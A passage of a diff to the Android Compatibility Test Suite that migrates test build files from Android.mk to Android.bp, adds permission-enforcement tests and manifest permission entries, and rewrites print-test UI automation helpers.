-            fail("TelephonyManager.getAllCellInfo did not throw SecurityException as expected");
+            telephonyManager.requestCellInfoUpdate(mContext.getMainExecutor(),
+                    new TelephonyManager.CellInfoCallback() {
+                        @Override
+                        public void onCellInfo(List<CellInfo> cellInfos) {
+                            if (cellInfos != null && cellInfos.size() > 0) {
+                                fail("Test process should not have received CellInfo");
+                            }
+                        }
+                    });
         } catch (SecurityException e) {
             // expected
         }
diff --git a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
index 4d44f55..99e6e4b 100644
--- a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
@@ -319,6 +319,33 @@
         }
     }
 
+    /**
+    * Verify that getNetworkType and getDataNetworkType requires Permission.
+    * <p>
+    * Requires Permission:
+    * {@link android.Manifest.permission#READ_PHONE_STATE}.
+    */
+    @Test
+    public void testGetNetworkType() {
+        if (!mHasTelephony) {
+            return;
+        }
+
+        try {
+            mTelephonyManager.getNetworkType();
+            fail("getNetworkType did not throw a SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        try {
+            mTelephonyManager.getDataNetworkType();
+            fail("getDataNetworkType did not throw a SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
     private static Context getContext() {
         return InstrumentationRegistry.getContext();
     }
diff --git a/tests/tests/permission2/Android.bp b/tests/tests/permission2/Android.bp
new file mode 100644
index 0000000..de5bd00
--- /dev/null
+++ b/tests/tests/permission2/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsPermission2TestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    libs: ["android.test.base.stubs"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "guava",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
deleted file mode 100755
index 436ba27..0000000
--- a/tests/tests/permission2/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util-axt \
-	ctstestrunner-axt \
-	guava
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsPermission2TestCases
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission2/AndroidTest.xml b/tests/tests/permission2/AndroidTest.xml
index d4fb85f..1614a22 100644
--- a/tests/tests/permission2/AndroidTest.xml
+++ b/tests/tests/permission2/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Permission test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPermission2TestCases.apk" />
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index b20bd67..b0f3199 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -138,7 +138,6 @@
     <protected-broadcast android:name="android.bluetooth.device.action.MAS_INSTANCE" />
     <protected-broadcast android:name="android.bluetooth.device.action.ALIAS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.FOUND" />
-    <protected-broadcast android:name="android.bluetooth.device.action.DISAPPEARED" />
     <protected-broadcast android:name="android.bluetooth.device.action.CLASS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.ACL_CONNECTED" />
     <protected-broadcast android:name="android.bluetooth.device.action.ACL_DISCONNECT_REQUESTED" />
@@ -911,6 +910,9 @@
          call with the option to redirect the call to a different number or
          abort the call altogether.
          <p>Protection level: dangerous
+
+         @deprecated Applications should use {@link android.telecom.CallRedirectionService} instead
+         of the {@link android.content.Intent#ACTION_NEW_OUTGOING_CALL} broadcast.
     -->
     <permission android:name="android.permission.PROCESS_OUTGOING_CALLS"
         android:permissionGroup="android.permission-group.CALL_LOG"
@@ -1008,6 +1010,18 @@
                 android:description="@string/permdesc_manageOwnCalls"
                 android:protectionLevel="normal" />
 
+    <!--Allows an app which implements the
+       {@link InCallService} API to be eligible to be enabled as a calling companion app. This
+       means that the Telecom framework will bind to the app's InCallService implementation when
+       there are calls active. The app can use the InCallService API to view information about
+       calls on the system and control these calls.
+       <p>Protection level: normal
+   -->
+    <permission android:name="android.permission.CALL_COMPANION_APP"
+                android:label="@string/permlab_callCompanionApp"
+                android:description="@string/permdesc_callCompanionApp"
+                android:protectionLevel="normal" />
+
     <!-- Allows a calling app to continue a call which was started in another app.  An example is a
          video calling app that wants to continue a voice call on the user's mobile network.<p>
          When the handover of a call from one app to another takes place, there are two devices
@@ -1383,6 +1397,13 @@
     <permission android:name="android.permission.MANAGE_IPSEC_TUNNELS"
         android:protectionLevel="signature|appop" />
 
+    <!-- @hide Allows apps to create and manage Test Networks.
+         <p>Granted only to shell. CTS tests will use
+         UiAutomation.AdoptShellPermissionIdentity() to gain access.
+    -->
+    <permission android:name="android.permission.MANAGE_TEST_NETWORKS"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi @hide Allows applications to read Wi-Fi credential.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_WIFI_CREDENTIAL"
@@ -1560,6 +1581,12 @@
     <permission android:name="android.permission.CONNECTIVITY_USE_RESTRICTED_NETWORKS"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows an internal user to set signal strength in NetworkRequest. This kind of
+         request will wake up device when signal strength meets the given value.
+         @hide -->
+    <permission android:name="android.permission.NETWORK_SIGNAL_STRENGTH_WAKEUP"
+        android:protectionLevel="signature|privileged" />
+
     <!-- Allows a system application to access hardware packet offload capabilities.
          @hide -->
     <permission android:name="android.permission.PACKET_KEEPALIVE_OFFLOAD"
@@ -1687,6 +1714,10 @@
     <permission android:name="android.permission.HARDWARE_TEST"
         android:protectionLevel="signature" />
 
+    <!-- @hide Allows an application to manage DynamicAndroid image -->
+    <permission android:name="android.permission.MANAGE_DYNAMIC_ANDROID"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows access to Broadcast Radio
          @hide This is not a third-party API (intended for system apps).-->
     <permission android:name="android.permission.ACCESS_BROADCAST_RADIO"
@@ -1823,6 +1854,12 @@
     <permission android:name="android.permission.BIND_INCALL_SERVICE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows the app to request network scans from telephony.
+         <p>Not for use by third-party applications.
+         @SystemApi @hide-->
+    <permission android:name="android.permission.NETWORK_SCAN"
+        android:protectionLevel="signature|privileged" />
+
     <!-- Must be required by a link {@link android.telephony.VisualVoicemailService} to ensure that
          only the system can bind to it.
          <p>Protection level: signature|privileged
@@ -1831,6 +1868,15 @@
       android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
       android:protectionLevel="signature|privileged"/>
 
+    <!-- Must be required by a {@link android.telecom.PhoneAccountSuggestionService},
+         to ensure that only the system can bind to it.
+         <p>Protection level: signature
+         @SystemApi
+         @hide
+    -->
+    <permission android:name="android.permission.BIND_PHONE_ACCOUNT_SUGGESTION_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- Must be required by a {@link android.telecom.CallScreeningService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
@@ -3201,6 +3247,12 @@
         android:protectionLevel="signature|privileged" />
     <uses-permission android:name="android.permission.CONTROL_VPN" />
 
+    <!-- Allows an application to access and modify always-on VPN configuration.
+         <p>Not for use by third-party or privileged applications.
+         @hide -->
+    <permission android:name="android.permission.CONTROL_ALWAYS_ON_VPN"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows an application to capture audio output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_AUDIO_OUTPUT"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
old mode 100644
new mode 100755
index 6179768..756c64e
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -36,6 +36,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.IOException;
@@ -65,6 +66,9 @@
     private static final String PLATFORM_PACKAGE_NAME = "android";
 
     public void testPrivappPermissionsEnforcement() throws Exception {
+        assertEquals("ro.control_privapp_permissions is not set to enforce",
+                "enforce", PropertyUtil.getProperty("ro.control_privapp_permissions"));
+
         Set<String> platformPrivPermissions = new HashSet<>();
         PackageManager pm = getContext().getPackageManager();
         PackageInfo platformPackage = pm.getPackageInfo(PLATFORM_PACKAGE_NAME,
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 2f155d8..9ca3a69 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -85,6 +85,8 @@
         "android.intent.action.DATA_CONNECTION_FAILED",
         "android.intent.action.NETWORK_SET_TIME",
         "android.intent.action.NETWORK_SET_TIMEZONE",
+        "android.telephony.action.SUBSCRIPTION_CARRIER_IDENTITY_CHANGED",
+        "android.telephony.action.SUBSCRIPTION_SPECIFIC_CARRIER_IDENTITY_CHANGED",
         "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
     };
 
diff --git a/tests/tests/preference/Android.bp b/tests/tests/preference/Android.bp
new file mode 100644
index 0000000..31a2953
--- /dev/null
+++ b/tests/tests/preference/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsPreferenceTestCases",
+    defaults: ["cts_defaults"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+
+    static_libs: ["ctstestrunner-axt"],
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
deleted file mode 100644
index 8791cff..0000000
--- a/tests/tests/preference/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsPreferenceTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/preference2/Android.bp b/tests/tests/preference2/Android.bp
new file mode 100644
index 0000000..714f407
--- /dev/null
+++ b/tests/tests/preference2/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsPreference2TestCases",
+    defaults: ["cts_defaults"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "mockito-target-minus-junit4",
+        "ub-uiautomator",
+    ],
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
deleted file mode 100644
index ca018ea..0000000
--- a/tests/tests/preference2/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsPreference2TestCases
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    mockito-target-minus-junit4 \
-    ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
index 359ea11..8e6cef5 100644
--- a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
+++ b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
@@ -72,9 +72,11 @@
         int xToCut = isOnWatchUiMode() ? bt.getWidth() / 5 : bt.getWidth() / 20;
         int yToCut = statusBarHeight;
 
-        // Crop-out the nav bar in both width and height to meet both the phone and the tablet
-        xToCut += navigationBarHeight;
-        yToCut += navigationBarHeight;
+        if (isLandscape()) {
+            xToCut += navigationBarHeight;
+        } else {
+            yToCut += navigationBarHeight;
+        }
 
         bt = Bitmap.createBitmap(
                 bt, 0, statusBarHeight, bt.getWidth() - xToCut, bt.getHeight() - yToCut);
@@ -245,4 +247,9 @@
             throw new RuntimeException("Failed to run command: " + cmd, e);
         }
     }
+
+    private boolean isLandscape() {
+        return mInstrumentation.getTargetContext().getResources().getConfiguration().orientation ==
+                Configuration.ORIENTATION_LANDSCAPE;
+    }
 }
diff --git a/tests/tests/print/Android.bp b/tests/tests/print/Android.bp
new file mode 100644
index 0000000..1e610b3
--- /dev/null
+++ b/tests/tests/print/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsPrintTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    srcs: ["src/**/*.java"],
+    static_libs: ["print-test-util-lib"],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
deleted file mode 100644
index c44943d..0000000
--- a/tests/tests/print/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsPrintTestCases
-
-LOCAL_STATIC_JAVA_LIBRARIES := print-test-util-lib
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/tests/tests/print/printTestUtilLib/Android.bp b/tests/tests/print/printTestUtilLib/Android.bp
new file mode 100644
index 0000000..1d59896
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "print-test-util-lib",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "mockito-target-minus-junit4",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/print/printTestUtilLib/Android.mk b/tests/tests/print/printTestUtilLib/Android.mk
deleted file mode 100644
index 49c4791..0000000
--- a/tests/tests/print/printTestUtilLib/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := print-test-util-lib
-
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner-axt ub-uiautomator compatibility-device-util-axt androidx.test.rules
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
index 891525f..f4a50d3 100755
--- a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -61,11 +61,10 @@
 import android.printservice.PrintJob;
 import android.provider.Settings;
 import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.Until;
+import android.support.test.uiautomator.UiSelector;
 import android.util.Log;
 import android.util.SparseArray;
 
@@ -109,7 +108,7 @@
 public abstract class BasePrintTest {
     private static final String LOG_TAG = "BasePrintTest";
 
-    protected static final long OPERATION_TIMEOUT_MILLIS = 20000;
+    protected static final long OPERATION_TIMEOUT_MILLIS = 60000;
     protected static final String PRINT_JOB_NAME = "Test";
     static final String TEST_ID = "BasePrintTest.EXTRA_TEST_ID";
 
@@ -544,17 +543,6 @@
         mCreateActivityCallCounter.reset();
     }
 
-    protected UiObject2 findUiObject(BySelector selector) throws UiObjectNotFoundException,
-            IOException {
-        UiObject2 uiObject = getUiDevice().wait(Until.findObject(selector),
-                OPERATION_TIMEOUT_MILLIS);
-        if (uiObject == null) {
-            dumpWindowHierarchy();
-            throw new UiObjectNotFoundException("Cannot find UiObject with selector: " + selector);
-        }
-        return uiObject;
-    }
-
     /**
      * Wait until the message is shown that indicates that a printer is unavailable.
      *
@@ -563,7 +551,8 @@
     protected void waitForPrinterUnavailable() throws Exception {
         final String printerUnavailableMessage = "This printer isn\'t available right now.";
 
-        UiObject2 message = findUiObject(By.res("com.android.printspooler:id/message"));
+        UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/message"));
         if (!message.getText().equals(printerUnavailableMessage)) {
             throw new Exception("Wrong message: " + message.getText() + " instead of "
                     + printerUnavailableMessage);
@@ -572,11 +561,13 @@
 
     protected void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
         try {
-            long delay = 100;
+            long delay = 1;
             while (true) {
                 try {
-                    UiObject2 destinationSpinner = findUiObject(By.res(
-                            "com.android.printspooler:id/destination_spinner"));
+                    UiDevice uiDevice = getUiDevice();
+                    UiObject destinationSpinner = uiDevice.findObject(new UiSelector()
+                            .resourceId("com.android.printspooler:id/destination_spinner"));
+
                     destinationSpinner.click();
                     getUiDevice().waitForIdle();
 
@@ -584,11 +575,12 @@
                     try {
                         Thread.sleep(delay);
                     } catch (InterruptedException e) {
-                        // Ignore
+                        // ignore
                     }
 
-                    // Try to select printer
-                    UiObject2 printerOption = findUiObject(By.text(printerName));
+                    // try to select printer
+                    UiObject printerOption = uiDevice.findObject(
+                            new UiSelector().text(printerName));
                     printerOption.click();
                 } catch (UiObjectNotFoundException e) {
                     Log.e(LOG_TAG, "Could not select printer " + printerName, e);
@@ -606,8 +598,8 @@
                             delay *= 2;
                         } else {
                             throw new UiObjectNotFoundException(
-                                    "Could not find printer " + printerName
-                                            + " even though we retried.");
+                                    "Could find printer " + printerName
+                                            + " even though we retried");
                         }
                     }
                 } else {
@@ -620,76 +612,115 @@
         }
     }
 
-    protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException,
-            IOException {
-        UiObject2 button;
+    protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
+        UiObject button;
         if (confirm) {
-            button = findUiObject(By.res("android:id/button1"));
+            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button1"));
         } else {
-            button = findUiObject(By.res("android:id/button2"));
+            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button2"));
         }
         button.click();
     }
 
     protected void changeOrientation(String orientation) throws UiObjectNotFoundException,
             IOException {
-        UiObject2 orientationSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/orientation_spinner"));
-        orientationSpinner.click();
-        UiObject2 orientationOption = findUiObject(By.text(orientation));
-        orientationOption.click();
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject orientationSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/orientation_spinner"));
+            orientationSpinner.click();
+            UiObject orientationOption = uiDevice.findObject(new UiSelector().text(orientation));
+            orientationOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     public String getOrientation() throws UiObjectNotFoundException, IOException {
-        UiObject2 orientationSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/orientation_spinner"));
-        return orientationSpinner.getText();
+        try {
+            UiObject orientationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/orientation_spinner"));
+            return orientationSpinner.getText();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
-        UiObject2 mediaSizeSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/paper_size_spinner"));
-        mediaSizeSpinner.click();
-        UiObject2 mediaSizeOption = findUiObject(By.text(mediaSize));
-        mediaSizeOption.click();
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject mediaSizeSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/paper_size_spinner"));
+            mediaSizeSpinner.click();
+            UiObject mediaSizeOption = uiDevice.findObject(new UiSelector().text(mediaSize));
+            mediaSizeOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void changeColor(String color) throws UiObjectNotFoundException, IOException {
-        UiObject2 colorSpinner = findUiObject(By.res("com.android.printspooler:id/color_spinner"));
-        colorSpinner.click();
-        // The color spinner and the color option both contain the same text, so give the
-        // spinner some time to expand
-        long delay = 100;
         try {
-            Thread.sleep(delay);
-        } catch (InterruptedException e) {
-            // Ignore
+            UiDevice uiDevice = getUiDevice();
+            UiObject colorSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/color_spinner"));
+            colorSpinner.click();
+            UiObject colorOption = uiDevice.findObject(new UiSelector().text(color));
+            colorOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
         }
-        UiObject2 colorOption = findUiObject(By.text(color));
-        colorOption.click();
     }
 
     public String getColor() throws UiObjectNotFoundException, IOException {
-        UiObject2 colorSpinner = findUiObject(By.res("com.android.printspooler:id/color_spinner"));
-        return colorSpinner.getText();
+        try {
+            UiObject colorSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/color_spinner"));
+            return colorSpinner.getText();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
-        UiObject2 duplexSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/duplex_spinner"));
-        duplexSpinner.click();
-        UiObject2 duplexOption = findUiObject(By.text(duplex));
-        duplexOption.click();
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject duplexSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/duplex_spinner"));
+            duplexSpinner.click();
+            UiObject duplexOption = uiDevice.findObject(new UiSelector().text(duplex));
+            duplexOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
